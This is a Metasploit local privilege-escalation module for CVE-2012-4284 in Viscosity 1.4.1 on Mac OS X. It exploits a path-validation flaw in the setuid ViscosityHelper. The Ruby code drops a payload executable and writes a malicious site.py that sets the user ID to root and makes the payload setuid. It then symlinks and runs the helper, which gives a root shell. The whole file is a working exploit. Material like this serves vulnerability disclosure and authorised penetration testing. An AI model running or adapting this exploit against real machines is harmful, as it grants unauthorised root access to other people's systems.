Viscosity – setuid-set ViscosityHelper Privilege Escalation (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/exploit/exe' class Metasploit4 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Common def initialize(info={}) super( update_info( info, { 'Name' => 'Viscosity setuid-set ViscosityHelper Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The vulnerability exists in the setuid ViscosityHelper, where an insufficient validation of path names allows execution of arbitrary python code as root. This module has been tested successfully on Viscosity 1.4.1 over Mac OS X 10.7.5. }, 'References' => [ [ 'CVE', '2012-4284' ], [ 'OSVDB', '84709' ], [ 'EDB', '20485' ], [ 'URL', 'http://blog.zx2c4.com/791' ] ], 'License' => MSF_LICENSE, 'Author' => [ 'Jason A. Donenfeld', # Vulnerability discovery and original Exploit 'juan vazquez' # Metasploit module ], 'DisclosureDate' => 'Aug 12 2012', 'Platform' => 'osx', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell' ], 'Targets' => [ [ 'Viscosity 1.4.1 / Mac OS X x86', { 'Arch' => ARCH_X86 } ], [ 'Viscosity 1.4.1 / Mac OS X x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 }, 'DefaultTarget' => 0 })) register_options([ # These are not OptPath becuase it's a *remote* path OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), OptString.new("Viscosity", [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ]) ], self.class) end def check if not file?(datastore["Viscosity"]) print_error "ViscosityHelper not found" return CheckCode::Safe end check = session.shell_command_token("find #{datastore["Viscosity"]} -type f -user root -perm -4000") if check =~ /ViscosityHelper/ return CheckCode::Vulnerable end return CheckCode::Safe end def clean file_rm(@link) file_rm(@python_file) file_rm("#{@python_file}c") file_rm(@exe_file) end def exploit exe_name = rand_text_alpha(8) @exe_file = "#{datastore["WritableDir"]}/#{exe_name}" print_status("Dropping executable #{@exe_file}") write_file(@exe_file, generate_payload_exe) evil_python =<<-EOF import os os.setuid(0) os.setgid(0) os.system("chown root #{@exe_file}") os.system("chmod 6777 #{@exe_file}") os.execl("#{@exe_file}", "#{exe_name}") EOF @python_file = "#{datastore["WritableDir"]}/site.py" print_status("Dropping python #{@python_file}...") write_file(@python_file, evil_python) print_status("Creating symlink...") link_name = rand_text_alpha(8) @link = "#{datastore["WritableDir"]}/#{link_name}" cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}" print_status("Running...") begin cmd_exec "#{@link}" rescue print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...") clean return end print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}") end end |